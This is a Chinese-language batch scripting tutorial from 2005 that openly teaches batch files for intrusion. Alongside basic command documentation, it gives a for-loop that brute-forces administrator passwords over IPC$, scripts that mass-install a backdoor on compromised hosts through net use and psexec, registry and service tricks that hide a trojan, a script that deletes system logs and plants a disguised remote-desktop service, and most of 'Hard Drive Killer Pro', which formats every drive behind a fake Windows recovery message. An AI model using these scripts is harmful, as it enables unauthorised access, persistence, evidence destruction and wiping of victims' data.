2005年10月23日

简明批处理教程—-对批处理命令做了简单的介绍

最近对于批处理技术的探讨比较热,也有不少好的批处理程序发布,但是如果没有一定的相关知识恐怕不容易看懂和理解这些批处理文件,也就更谈不上自己动手编写了,古语云:"授人以鱼,不如授人以渔。"因为网上好像并没有一个比较完整的教材,所以抽一点时间写了这片<<简明批处理教程>>给新手朋友们.也献给所有为实现网络的自由与共享而努力的朋友们.

批处理文件是无格式的文本文件,它包含一条或多条命令。它的文件扩展名为 .bat 或 .cmd。在命令提示下键入批处理文件的名称,或者双击该批处理文件,系统就会调用Cmd.exe按照该文件中各个命令出现的顺序来逐个运行它们。使用批处理文件(也被称为批处理程序或脚本),可以简化日常或重复性任务。当然我们的这个版本的主要内容是介绍批处理在入侵中一些实际运用,例如我们后面要提到的用批处理文件来给系统打补丁、批量植入后门程序等。下面就开始我们批处理学习之旅吧。

一.简单批处理内部命令简介
1.Echo 命令
打开回显或关闭请求回显功能,或显示消息。如果没有任何参数,echo 命令将显示当前回显设置。
语法
echo [{on|off}] [message]
Sample:@echo off / echo hello world
在实际应用中我们会把这条命令和重定向符号(也称为管道符号,一般用> >> ^)结合来实现输入一些命令到特定格式的文件中.这将在以后的例子中体现出来。

2.@ 命令
表示不显示@后面的命令,在入侵过程中(例如使用批处理来格式化敌人的硬盘)自然不能让对方看到你使用的命令啦。
Sample:@echo off
@echo Now initializing the program,please wait a minite…
@format X: /q/u/autoset (format 这个命令是不可以使用/y这个参数的,可喜的是微软留了个autoset这个参数给我们,效果和/y是一样的。)

3.Goto 命令
指定跳转到标签,找到标签后,程序将处理从下一行开始的命令。
语法:goto label (label是参数,指定所要转向的批处理程序中的行。)
Sample:
if {%1}=={} goto noparms
if {%2}=={} goto noparms(如果这里的if、%1、%2你不明白的话,先跳过去,后面会有详细的解释。)
@Rem check parameters if null show usage
:noparms
echo Usage: monitor.bat ServerIP PortNumber
goto end
标签的名字可以随便起,但是最好是有意义的字母啦,字母前加个:用来表示这个字母是标签,goto命令就是根据这个:来寻找下一步跳到到那里。最好有一些说明这样你别人看起来才会理解你的意图啊。

4.Rem 命令
注释命令,在C语言中相当与/*——–*/,它并不会被执行,只是起一个注释的作用,便于别人阅读和你自己日后修改。
Rem Message
Sample:@Rem Here is the description.

5.Pause 命令
运行 Pause 命令时,将显示下面的消息:
Press any key to continue . . .
Sample:
@echo off
:begin
copy a:*.* d:\back
echo Please put a new disk into driver A
pause
goto begin
在这个例子中,驱动器 A 中磁盘上的所有文件均复制到d:\back中。显示的注释提示您将另一张磁盘放入驱动器 A 时,pause 命令会使程序挂起,以便您更换磁盘,然后按任意键继续处理。

6.Call 命令
从一个批处理程序调用另一个批处理程序,并且不终止父批处理程序。call 命令接受用作调用目标的标签。如果在脚本或批处理文件外使用 Call,它将不会在命令行起作用。
语法
call [[Drive:][Path] FileName [BatchParameters]] [:label [arguments]]
参数
[Drive:}[Path] FileName
指定要调用的批处理程序的位置和名称。filename 参数必须具有 .bat 或 .cmd 扩展名。

7.start 命令
调用外部程序,所有的DOS命令和命令行程序都可以由start命令来调用。
入侵常用参数:
MIN 开始时窗口最小化
SEPARATE 在分开的空间内开始 16 位 Windows 程序
HIGH 在 HIGH 优先级类别开始应用程序
REALTIME 在 REALTIME 优先级类别开始应用程序
WAIT 启动应用程序并等候它结束
parameters 这些为传送到命令/程序的参数
执行的应用程序是 32-位 GUI 应用程序时,CMD.EXE 不等应用程序终止就返回命令提示。如果在命令脚本内执行,该新行为则不会发生。
8.choice 命令
choice 使用此命令可以让用户输入一个字符,从而运行不同的命令。使用时应该加/c:参数,c:后应写提示可输入的字符,之间无空格。它的返回码为1234……
如: choice /c:dme defrag,mem,end
将显示
defrag,mem,end[D,M,E]?
Sample:
Sample.bat的内容如下:
@echo off
choice /c:dme defrag,mem,end
if errorlevel 3 goto defrag (应先判断数值最高的错误码)
if errorlevel 2 goto mem
if errotlevel 1 goto end

:defrag
c:\dos\defrag
goto end
:mem
mem
goto end
:end
echo good bye

此文件运行后,将显示 defrag,mem,end[D,M,E]? 用户可选择d m e ,然后if语句将作出判断,d表示执行标号为defrag的程序段,m表示执行标号为mem的程序段,e表示执行标号为end的程序段,每个程序段最后都以goto end将程序跳到end标号处,然后程序将显示good bye,文件结束。

9.If 命令

if 表示将判断是否符合规定的条件,从而决定执行不同的命令。 有三种格式:
1、if "参数" == "字符串"  待执行的命令
参数如果等于指定的字符串,则条件成立,运行命令,否则运行下一句。(注意是两个等号)
如if "%1"=="a" format a:
if {%1}=={} goto noparms
if {%2}=={} goto noparms

2、if exist 文件名  待执行的命令
如果有指定的文件,则条件成立,运行命令,否则运行下一句。
如if exist config.sys edit config.sys

3、if errorlevel / if not errorlevel 数字  待执行的命令
如果返回码等于指定的数字,则条件成立,运行命令,否则运行下一句。
如if errorlevel 2 goto x2  
DOS程序运行时都会返回一个数字给DOS,称为错误码errorlevel或称返回码,常见的返回码为0、1。

10.for 命令
for 命令是一个比较复杂的命令,主要用于参数在指定的范围内循环执行命令。
在批处理文件中使用 FOR 命令时,指定变量请使用 %%variable

for {%variable|%%variable} in (set) do command [ CommandLineOptions]
%variable 指定一个单一字母可替换的参数。
(set) 指定一个或一组文件。可以使用通配符。
command 指定对每个文件执行的命令。
command-parameters 为特定命令指定参数或命令行开关。
在批处理文件中使用 FOR 命令时,指定变量请使用 %%variable
而不要用 %variable。变量名称是区分大小写的,所以 %i 不同于 %I

如果命令扩展名被启用,下列额外的 FOR 命令格式会受到
支持:

FOR /D %variable IN (set) DO command [command-parameters]

如果集中包含通配符,则指定与目录名匹配,而不与文件
名匹配。

FOR /R [[drive:]path] %variable IN (set) DO command [command-

检查以 [drive:]path 为根的目录树,指向每个目录中的
FOR 语句。如果在 /R 后没有指定目录,则使用当前
目录。如果集仅为一个单点(.)字符,则枚举该目录树。

FOR /L %variable IN (start,step,end) DO command [command-para

该集表示以增量形式从开始到结束的一个数字序列。
因此,(1,1,5) 将产生序列 1 2 3 4 5,(5,-1,1) 将产生
序列 (5 4 3 2 1)。

FOR /F ["options"] %variable IN (file-set) DO command
FOR /F ["options"] %variable IN ("string") DO command
FOR /F ["options"] %variable IN (‘command’) DO command

或者,如果有 usebackq 选项:

FOR /F ["options"] %variable IN (file-set) DO command
FOR /F ["options"] %variable IN ("string") DO command
FOR /F ["options"] %variable IN (‘command’) DO command

filenameset 为一个或多个文件名。继续到 filenameset 中的
下一个文件之前,每份文件都已被打开、读取并经过处理。
处理包括读取文件,将其分成一行行的文字,然后将每行
解析成零或更多的符号。然后用已找到的符号字符串变量值
调用 For 循环。以默认方式,/F 通过每个文件的每一行中分开
的第一个空白符号。跳过空白行。您可通过指定可选 "options"
参数替代默认解析操作。这个带引号的字符串包括一个或多个
指定不同解析选项的关键字。这些关键字为:

eol=c – 指一个行注释字符的结尾(就一个)
skip=n – 指在文件开始时忽略的行数。
delims=xxx – 指分隔符集。这个替换了空格和跳格键的
默认分隔符集。
tokens=x,y,m-n – 指每行的哪一个符号被传递到每个迭代
的 for 本身。这会导致额外变量名称的
格式为一个范围。通过 nth 符号指定 m
符号字符串中的最后一个字符星号,
那么额外的变量将在最后一个符号解析之
分配并接受行的保留文本。
usebackq – 指定新语法已在下类情况中使用:
在作为命令执行一个后引号的字符串并且
引号字符为文字字符串命令并允许在 fi
中使用双引号扩起文件名称。

sample1:
FOR /F "eol=; tokens=2,3* delims=, " %i in (myfile.txt) do command

会分析 myfile.txt 中的每一行,忽略以分号打头的那些行,将
每行中的第二个和第三个符号传递给 for 程序体;用逗号和/或
空格定界符号。请注意,这个 for 程序体的语句引用 %i 来
取得第二个符号,引用 %j 来取得第三个符号,引用 %k
来取得第三个符号后的所有剩余符号。对于带有空格的文件
名,您需要用双引号将文件名括起来。为了用这种方式来使
用双引号,您还需要使用 usebackq 选项,否则,双引号会
被理解成是用作定义某个要分析的字符串的。

%i 专门在 for 语句中得到说明,%j 和 %k 是通过
tokens= 选项专门得到说明的。您可以通过 tokens= 一行
指定最多 26 个符号,只要不试图说明一个高于字母 ‘z’ 或
‘Z’ 的变量。请记住,FOR 变量是单一字母、分大小写和全局的;
同时不能有 52 个以上都在使用中。

您还可以在相邻字符串上使用 FOR /F 分析逻辑;方法是,
用单引号将括号之间的 filenameset 括起来。这样,该字符
串会被当作一个文件中的一个单一输入行。

最后,您可以用 FOR /F 命令来分析命令的输出。方法是,将
括号之间的 filenameset 变成一个反括字符串。该字符串会
被当作命令行,传递到一个子 CMD.EXE,其输出会被抓进
内存,并被当作文件分析。因此,以下例子:

FOR /F "usebackq delims==" %i IN (`set`) DO @echo %i

会枚举当前环境中的环境变量名称。

另外,FOR 变量参照的替换已被增强。您现在可以使用下列
选项语法:

~I – 删除任何引号("),扩充 %I
%~fI – 将 %I 扩充到一个完全合格的路径名
%~dI – 仅将 %I 扩充到一个驱动器号
%~pI – 仅将 %I 扩充到一个路径
%~nI – 仅将 %I 扩充到一个文件名
%~xI – 仅将 %I 扩充到一个文件扩展名
%~sI – 扩充的路径只含有短名
%~aI – 将 %I 扩充到文件的文件属性
%~tI – 将 %I 扩充到文件的日期/时间
%~zI – 将 %I 扩充到文件的大小
%~$PATH:I – 查找列在路径环境变量的目录,并将 %I 扩充
到找到的第一个完全合格的名称。如果环境变量
未被定义,或者没有找到文件,此组合键会扩充
空字符串

可以组合修饰符来得到多重结果:

%~dpI – 仅将 %I 扩充到一个驱动器号和路径
%~nxI – 仅将 %I 扩充到一个文件名和扩展名
%~fsI – 仅将 %I 扩充到一个带有短名的完整路径名
%~dp$PATH:i – 查找列在路径环境变量的目录,并将 %I 扩充
到找到的第一个驱动器号和路径。
%~ftzaI – 将 %I 扩充到类似输出线路的 DIR

在以上例子中,%I 和 PATH 可用其他有效数值代替。%~ 语法
用一个有效的 FOR 变量名终止。选取类似 %I 的大写变量名
比较易读,而且避免与不分大小写的组合键混淆。

以上是MS的官方帮助,下面我们举几个例子来具体说明一下For命令在入侵中的用途。

sample2:

利用For命令来实现对一台目标Win2k主机的暴力密码破解。
我们用net use \\ip\ipc$ "password" /u:"administrator"来尝试这和目标主机进行连接,当成功时记下密码。
最主要的命令是一条:for /f i% in (dict.txt) do net use \\ip\ipc$ "i%" /u:"administrator"
用i%来表示admin的密码,在dict.txt中这个取i%的值用net use 命令来连接。然后将程序运行结果传递给find命令--
for /f i%% in (dict.txt) do net use \\ip\ipc$ "i%%" /u:"administrator"|find ":命令成功完成">>D:\ok.txt ,这样就ko了。

sample3:

你有没有过手里有大量肉鸡等着你去种后门+木马呢?,当数量特别多的时候,原本很开心的一件事都会变得很郁闷:)。文章开头就谈到使用批处理文件,可以简化日常或重复性任务。那么如何实现呢?呵呵,看下去你就会明白了。

主要命令也只有一条:(在批处理文件中使用 FOR 命令时,指定变量使用 %%variable)
@for /f "tokens=1,2,3 delims= " %%i in (victim.txt) do start call door.bat %%i %%j %%k
tokens的用法请参见上面的sample1,在这里它表示按顺序将victim.txt中的内容传递给door.bat中的参数%i %j %k。
而cultivate.bat无非就是用net use命令来建立IPC$连接,并copy木马+后门到victim,然后用返回码(If errorlever =)来筛选成功种植后门的主机,并echo出来,或者echo到指定的文件。
delims= 表示vivtim.txt中的内容是一空格来分隔的。我想看到这里你也一定明白这victim.txt里的内容是什么样的了。应该根据%%i %%j %%k表示的对象来排列,一般就是 ip password username。
代码雏形:
————— cut here then save as a batchfile(I call it main.bat ) —————————
@echo off
@if "%1"=="" goto usage
@for /f "tokens=1,2,3 delims= " %%i in (victim.txt) do start call IPChack.bat %%i %%j %%k
@goto end
:usage
@echo run this batch in dos modle.or just double-click it.
:end
————— cut here then save as a batchfile(I call it main.bat ) —————————


——————- cut here then save as a batchfile(I call it door.bat) —————————–
@net use \\%1\ipc$ %3 /u:"%2"
@if errorlevel 1 goto failed
@echo Trying to establish the IPC$ connection …………OK
@copy windrv32.exe\\%1\admin$\system32 && if not errorlevel 1 echo IP %1 USER %2 PWD %3 >>ko.txt
@psexec \\%1 c:\winnt\system32\windrv32.exe
@psexec \\%1 net start windrv32 && if not errorlevel 1 echo %1 Backdoored >>ko.txt
:failed
@echo Sorry can not connected to the victim.
—————– cut here then save as a batchfile(I call it door.bat) ——————————–
这只是一个自动种植后门批处理的雏形,两个批处理和后门程序(Windrv32.exe),PSexec.exe需放在统一目录下.批处理内容
尚可扩展,例如:加入清除日志+DDOS的功能,加入定时添加用户的功能,更深入一点可以使之具备自动传播功能(蠕虫).此处不多做叙述,有兴趣的朋友可自行研究.

二.如何在批处理文件中使用参数
批处理中可以使用参数,一般从1%到 9%这九个,当有多个参数时需要用shift来移动,这种情况并不多见,我们就不考虑它了。
sample1:fomat.bat
@echo off
if "%1"=="a" format a:
:format
@format a:/q/u/auotset
@echo please insert another disk to driver A.
@pause
@goto fomat
这个例子用于连续地格式化几张软盘,所以用的时候需在dos窗口输入fomat.bat a,呵呵,好像有点画蛇添足了~^_^
sample2:
当我们要建立一个IPC$连接地时候总要输入一大串命令,弄不好就打错了,所以我们不如把一些固定命令写入一个批处理,把肉鸡地ip password username 当着参数来赋给这个批处理,这样就不用每次都打命令了。
@echo off
@net use \\1%\ipc$ "2%" /u:"3%" 注意哦,这里PASSWORD是第二个参数。
@if errorlevel 1 echo connection failed
怎么样,使用参数还是比较简单的吧?你这么帅一定学会了^_^.

三.如何使用组合命令(Compound Command)

1.&

Usage:第一条命令 & 第二条命令 [& 第三条命令...]

用这种方法可以同时执行多条命令,而不管命令是否执行成功

Sample:
C:\>dir z: & dir c:\Ex4rch
The system cannot find the path specified.
Volume in drive C has no label.
Volume Serial Number is 0078-59FB

Directory of c:\Ex4rch

2002-05-14 23:51 <DIR> .
2002-05-14 23:51 <DIR> ..
2002-05-14 23:51 14 sometips.gif

2.&&

Usage:第一条命令 && 第二条命令 [&& 第三条命令...]

用这种方法可以同时执行多条命令,当碰到执行出错的命令后将不执行后面的命令,如果一直没有出错则一直执行完所有命令;

Sample:
C:\>dir z: && dir c:\Ex4rch
The system cannot find the path specified.

C:\>dir c:\Ex4rch && dir z:
Volume in drive C has no label.
Volume Serial Number is 0078-59FB

Directory of c:\Ex4rch

2002-05-14 23:55 <DIR> .
2002-05-14 23:55 <DIR> ..
2002-05-14 23:55 14 sometips.gif
1 File(s) 14 bytes
2 Dir(s) 768,671,744 bytes free
The system cannot find the path specified.

在做备份的时候可能会用到这种命令会比较简单,如:
dir file://192.168.0.1/database/backup.mdb && copy file://192.168.0.1/database/backup.mdb E:\backup
如果远程服务器上存在backup.mdb文件,就执行copy命令,若不存在该文件则不执行copy命令。这种用法可以替换IF exist了 :)

3.||

Usage:第一条命令 || 第二条命令 [|| 第三条命令...]

用这种方法可以同时执行多条命令,当碰到执行正确的命令后将不执行后面的命令,如果没有出现正确的命令则一直执行完所有命令;

Sample:
C:\Ex4rch>dir sometips.gif || del sometips.gif
Volume in drive C has no label.
Volume Serial Number is 0078-59FB

Directory of C:\Ex4rch

2002-05-14 23:55 14 sometips.gif
1 File(s) 14 bytes
0 Dir(s) 768,696,320 bytes free

组合命令使用的例子:
sample:
@copy trojan.exe \\%1\admin$\system32 && if not errorlevel 1 echo IP %1 USER %2 PASS %3 >>victim.txt

四、管道命令的使用

1.| 命令
Usage:第一条命令 | 第二条命令 [| 第三条命令...]
将第一条命令的结果作为第二条命令的参数来使用,记得在unix中这种方式很常见。

sample:
time /t>>D:\IP.log
netstat -n -p tcp|find ":3389">>D:\IP.log
start Explorer
看出来了么?用于终端服务允许我们为用户自定义起始的程序,来实现让用户运行下面这个bat,以获得登录用户的IP。

2.>、>>输出重定向命令
将一条命令或某个程序输出结果的重定向到特定文件中, > 与 >>的区别在于,>会清除调原有文件中的内容后写入指定文件,而>>只会追加内容到指定文件中,而不会改动其中的内容。

sample1:
echo hello world>c:\hello.txt (stupid example?)

sample2:
时下DLL木马盛行,我们知道system32是个捉迷藏的好地方,许多木马都削尖了脑袋往那里钻,DLL马也不例外,针对这一点我们可以在安装好系统和必要的应用程序后,对该目录下的EXE和DLL文件作一个记录:
运行CMD–转换目录到system32–dir *.exe>exeback.txt & dir *.dll>dllback.txt,
这样所有的EXE和DLL文件的名称都被分别记录到exeback.txt和dllback.txt中,
日后如发现异常但用传统的方法查不出问题时,则要考虑是不是系统中已经潜入DLL木马了.
这时我们用同样的命令将system32下的EXE和DLL文件记录到另外的exeback1.txt和dllback1.txt中,然后运行:
CMD–fc exeback.txt exeback1.txt>diff.txt & fc dllback.txt dllback1.txt>diff.txt.(用FC命令比较前后两次的DLL和EXE文件,并将结果输入到diff.txt中),这样我们就能发现一些多出来的DLL和EXE文件,然后通过查看创建时间、版本、是否经过压缩等就能够比较容易地判断出是不是已经被DLL木马光顾了。没有是最好,如果有的话也不要直接DEL掉,先用regsvr32 /u trojan.dll将后门DLL文件注销掉,再把它移到回收站里,若系统没有异常反映再将之彻底删除或者提交给杀毒软件公司。

3.< 、>& 、<&
< 从文件中而不是从键盘中读入命令输入。
>& 将一个句柄的输出写入到另一个句柄的输入中。
<& 从一个句柄读取输入并将其写入到另一个句柄输出中。
这些并不常用,也就不多做介绍。

五.如何用批处理文件来操作注册表

在入侵过程中经常回操作注册表的特定的键值来实现一定的目的,例如:为了达到隐藏后门、木马程序而删除Run下残余的键值。或者创建一个服务用以加载后门。当然我们也会修改注册表来加固系统或者改变系统的某个属性,这些都需要我们对注册表操作有一定的了解。下面我们就先学习一下如何使用.REG文件来操作注册表.(我们可以用批处理来生成一个REG文件)
关于注册表的操作,常见的是创建、修改、删除。

1.创建
创建分为两种,一种是创建子项(Subkey)

我们创建一个文件,内容如下:

Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\hacker]

然后执行该脚本,你就已经在HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft下创建了一个名字为"hacker"的子项。

另一种是创建一个项目名称
那这种文件格式就是典型的文件格式,和你从注册表中导出的文件格式一致,内容如下:

Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
"Invader"="Ex4rch"
"Door"=C:\\WINNT\\system32\\door.exe
"Autodos"=dword:02

这样就在[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]下
新建了:Invader、door、about这三个项目
Invader的类型是"String Value"
door的类型是"REG SZ Value"
Autodos的类型是"DWORD Value"


2.修改
修改相对来说比较简单,只要把你需要修改的项目导出,然后用记事本进行修改,然后导入(regedit /s)即可。

3.删除
我们首先来说说删除一个项目名称,我们创建一个如下的文件:

Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
"Ex4rch"=-

执行该脚本,[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]下的"Ex4rch"就被删除了;

我们再看看删除一个子项,我们创建一个如下的脚本:

Windows Registry Editor Version 5.00

[-HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]

执行该脚本,[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]就已经被删除了。

相信看到这里,.reg文件你基本已经掌握了。那么现在的目标就是用批处理来创建特定内容的.reg文件了,记得我们前面说道的利用重定向符号可以很容易地创建特定类型的文件。

samlpe1:如上面的那个例子,如想生成如下注册表文件
Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
"Invader"="Ex4rch"
"door"=hex:255
"Autodos"=dword:000000128
只需要这样:
@echo Windows Registry Editor Version 5.00>>Sample.reg

@echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]>Sample.reg
@echo "Invader"="Ex4rch">>Sample.reg
@echo "door"=5>>C:\\WINNT\\system32\\door.exe>>Sample.reg
@echo "Autodos"=dword:02>>Sample.reg


samlpe2:
我们现在在使用一些比较老的木马时,可能会在注册表的[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run(Runonce、Runservices、Runexec)]下生成一个键值用来实现木马的自启动.但是这样很容易暴露木马程序的路径,从而导致木马被查杀,相对地若是将木马程序注册为系统服务则相对安全一些.下面以配置好地IRC木马DSNX为例(名为windrv32.exe)
@start windrv32.exe
@attrib +h +r windrv32.exe
@echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run] >>patch.dll
@echo "windsnx "=- >>patch.dll
@sc.exe create Windriversrv type= kernel start= auto displayname= WindowsDriver binpath= c:\winnt\system32\windrv32.exe
@regedit /s patch.dll
@delete patch.dll

@REM [删除DSNXDE在注册表中的启动项,用sc.exe将之注册为系统关键性服务的同时将其属性设为隐藏和只读,并config为自启动]
@REM 这样不是更安全^_^.

六.精彩实例放送。
1.删除win2k/xp系统默认共享的批处理
———————— cut here then save as .bat or .cmd file —————————

@echo preparing to delete all the default shares.when ready pres any key.
@pause
@echo off

:Rem check parameters if null show usage.
if {%1}=={} goto :Usage

:Rem code start.
echo.
echo ——————————————————
echo.
echo Now deleting all the default shares.
echo.
net share %1$ /delete
net share %2$ /delete
net share %3$ /delete
net share %4$ /delete
net share %5$ /delete
net share %6$ /delete
net share %7$ /delete
net share %8$ /delete
net share %9$ /delete
net stop Server
net start Server
echo.
echo All the shares have been deleteed
echo.
echo ——————————————————
echo.
echo Now modify the registry to change the system default properties.
echo.
echo Now creating the registry file
echo Windows Registry Editor Version 5.00> c:\delshare.reg
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\lanmanserver\
parameters]>> c:\delshare.reg
echo "AutoShareWks"=dword:00000000>> c:\delshare.reg
echo "AutoShareServer"=dword:00000000>> c:\delshare.reg
echo Nowing using the registry file to chang the system default properties.
regedit /s c:\delshare.reg
echo Deleting the temprotarily files.
del c:\delshare.reg
goto :END

:Usage
echo.
echo ——————————————————
echo.
echo ☆ A example for batch file ☆
echo ☆ [Use batch file to change the sysytem share properties.] ☆
echo.
echo Author:Ex4rch
echo Mail:Ex4rch@hotmail.com QQ:1672602
echo.
echo Error:Not enough parameters
echo.
echo ☆ Please enter the share disk you wanna delete ☆
echo.
echo For instance,to delete the default shares:
echo delshare c d e ipc admin print
echo.
echo If the disklable is not as C: D: E: ,Please chang it youself.
echo.
echo example:
echo If locak disklable are C: D: E: X: Y: Z: ,you should chang the
 command into :
echo delshare c d e x y z ipc admin print
echo.
echo *** you can delete nine shares once in a useing ***
echo.
echo ——————————————————
goto :EOF

:END
echo.
echo ——————————————————
echo.
echo OK,delshare.bat has deleted all the share you assigned.
echo.Any questions ,feel free to mail to Ex4rch@hotmail.com.
echo
echo.
echo ——————————————————
echo.

:EOF
echo end of the batch file
———————— cut here then save as .bat or .cmd file —————


2.全面加固系统(给肉鸡打补丁)的批处理文件
———————— cut here then save as .bat or .cmd file —————

@echo Windows Registry Editor Version 5.00 >patch.dll
@echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\
lanmanserver\parameters] >>patch.dll

@echo "AutoShareServer"=dword:00000000 >>patch.dll
@echo "AutoShareWks"=dword:00000000 >>patch.dll
@REM [禁止共享]

@echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa] >>patch.dll
@echo "restrictanonymous"=dword:00000001 >>patch.dll
@REM [禁止匿名登录]

@echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\NetBT\
Parameters] >>patch.dll
@echo "SMBDeviceEnabled"=dword:00000000 >>patch.dll
@REM [禁止及文件访问和打印共享]

@echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\
@REMoteRegistry] >>patch.dll
@echo "Start"=dword:00000004 >>patch.dll
@echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Schedule] >>patch.dll
@echo "Start"=dword:00000004 >>patch.dll
@echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon] >>patch.dll
@echo "ShutdownWithoutLogon"="0" >>patch.dll
@REM [禁止登录前关机]

@echo "DontDisplayLastUserName"="1" >>patch.dll
@REM [禁止显示前一个登录用户名称]
@regedit /s patch.dll

———————— cut here then save as .bat or .cmd file —————————

下面命令是清除肉鸡所有日志,禁止一些危险的服务,并修改肉鸡的terminnal service留跳后路。
@regedit /s patch.dll
@net stop w3svc
@net stop event log
@del c:\winnt\system32\logfiles\w3svc1\*.* /f /q
@del c:\winnt\system32\logfiles\w3svc2\*.* /f /q
@del c:\winnt\system32\config\*.event /f /q
@del c:\winnt\system32dtclog\*.* /f /q
@del c:\winnt\*.txt /f /q
@del c:\winnt\*.log /f /q
@net start w3svc
@net start event log
@rem [删除日志]


@net stop lanmanserver /y
@net stop Schedule /y
@net stop RemoteRegistry /y
@del patch.dll
@echo The server has been patched,Have fun.
@del patch.bat
@REM [禁止一些危险的服务。]

@echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp] >>patch.dll
@echo "PortNumber"=dword:00002010 >>patch.dll
@echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp >>patch.dll
@echo "PortNumber"=dword:00002012 >>patch.dll
@echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TermDD] >>patch.dll
@echo "Start"=dword:00000002 >>patch.dll
@echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SecuService] >>patch.dll
@echo "Start"=dword:00000002 >>patch.dll
@echo "ErrorControl"=dword:00000001 >>patch.dll
@echo "ImagePath"=hex(2):25,00,53,00,79,00,73,00,74,00,65,00,6d,00,52,00,6f,00,6f,00,\ >>patch.dll
@echo 74,00,25,00,5c,00,53,00,79,00,73,00,74,00,65,00,6d,00,33,00,32,00,5c,00,65,\ >>patch.dll
@echo 00,76,00,65,00,6e,00,74,00,6c,00,6f,00,67,00,2e,00,65,00,78,00,65,00,00,00 >>patch.dll
@echo "ObjectName"="LocalSystem" >>patch.dll
@echo "Type"=dword:00000010 >>patch.dll
@echo "Description"="Keep record of the program and windows’ message。" >>patch.dll
@echo "DisplayName"="Microsoft EventLog" >>patch.dll
@echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\termservice] >>patch.dll
@echo "Start"=dword:00000004 >>patch.dll
@copy c:\winnt\system32\termsrv.exe c:\winnt\system32\eventlog.exe
@REM [修改3389连接,端口为8210(十六进制为00002012),名称为Microsoft EventLog,留条后路]

3.Hard Drive Killer Pro Version 4.0(玩批处理到这个水平真的不容易了。)
———————— cut here then save as .bat or .cmd file —————————
@echo off
rem This program is dedecated to a very special person that does not want to be named.
:start
cls
echo PLEASE WAIT WHILE PROGRAM LOADS . . .
call attrib -r -h c:\autoexec.bat >nul
echo @echo off >c:\autoexec.bat
echo call format c: /q /u /autoSample >nul >>c:\autoexec.bat
call attrib +r +h c:\autoexec.bat >nul
rem Drive checking and assigning the valid drives to the drive variable.

set drive=
set alldrive=c d e f g h i j k l m n o p q r s t u v w x y z

rem code insertion for Drive Checking takes place here.
rem drivechk.bat is the file name under the root directory.
rem As far as the drive detection and drive variable settings, don’t worry about how it
rem works, it’s d\*amn to complicated for the average or even the expert batch programmer.
rem Except for Tom Lavedas.

echo @echo off >drivechk.bat
echo @prompt %%%%comspec%%%% /f /c vol %%%%1: $b find "Vol" > nul >{t}.bat
%comspec% /e:2048 /c {t}.bat >>drivechk.bat
del {t}.bat
echo if errorlevel 1 goto enddc >>drivechk.bat

cls
echo PLEASE WAIT WHILE PROGRAM LOADS . . .

rem When errorlevel is 1, then the above is not true, if 0, then it’s true.
rem Opposite of binary rules. If 0, it will elaps to the next command.

echo @prompt %%%%comspec%%%% /f /c dir %%%%1:.\/ad/w/-p $b find "bytes" > nul >{t}.bat
%comspec% /e:2048 /c {t}.bat >>drivechk.bat
del {t}.bat
echo if errorlevel 1 goto enddc >>drivechk.bat

cls
echo PLEASE WAIT WHILE PROGRAM LOADS . . .

rem if errorlevel is 1, then the drive specified is a removable media drive – not ready.
rem if errorlevel is 0, then it will elaps to the next command.

echo @prompt dir %%%%1:.\/ad/w/-p $b find " 0 bytes free" > nul >{t}.bat
%comspec% /e:2048 /c {t}.bat >>drivechk.bat
del {t}.bat
echo if errorlevel 1 set drive=%%drive%% %%1 >>drivechk.bat

cls
echo PLEASE WAIT WHILE PROGRAM LOADS . . .

rem if it’s errorlevel 1, then the specified drive is a hard or floppy drive.
rem if it’s not errorlevel 1, then the specified drive is a CD-ROM drive.

echo :enddc >>drivechk.bat

rem Drive checking insertion ends here. "enddc" stands for "end dDRIVE cHECKING".

rem Now we will use the program drivechk.bat to attain valid drive information.

:Sampledrv

for %%a in (%alldrive%) do call drivechk.bat %%a >nul
del drivechk.bat >nul
if %drive.==. set drive=c

:form_del
call attrib -r -h c:\autoexec.bat >nul
echo @echo off >c:\autoexec.bat
echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:\autoexec.bat
echo for %%%%a in (%drive%) do call format %%%%a: /q /u /autoSample >nul >>c:\autoexec.bat
echo cls >>c:\autoexec.bat
echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:\autoexec.bat
echo for %%%%a in (%drive%) do call c:\temp.bat %%%%a Bunga >nul >>c:\autoexec.bat
echo cls >>c:\autoexec.bat
echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:\autoexec.bat
echo for %%%%a in (%drive%) call deltree /y %%%%a:\ >nul >>c:\autoexec.bat
echo cls >>c:\autoexec.bat
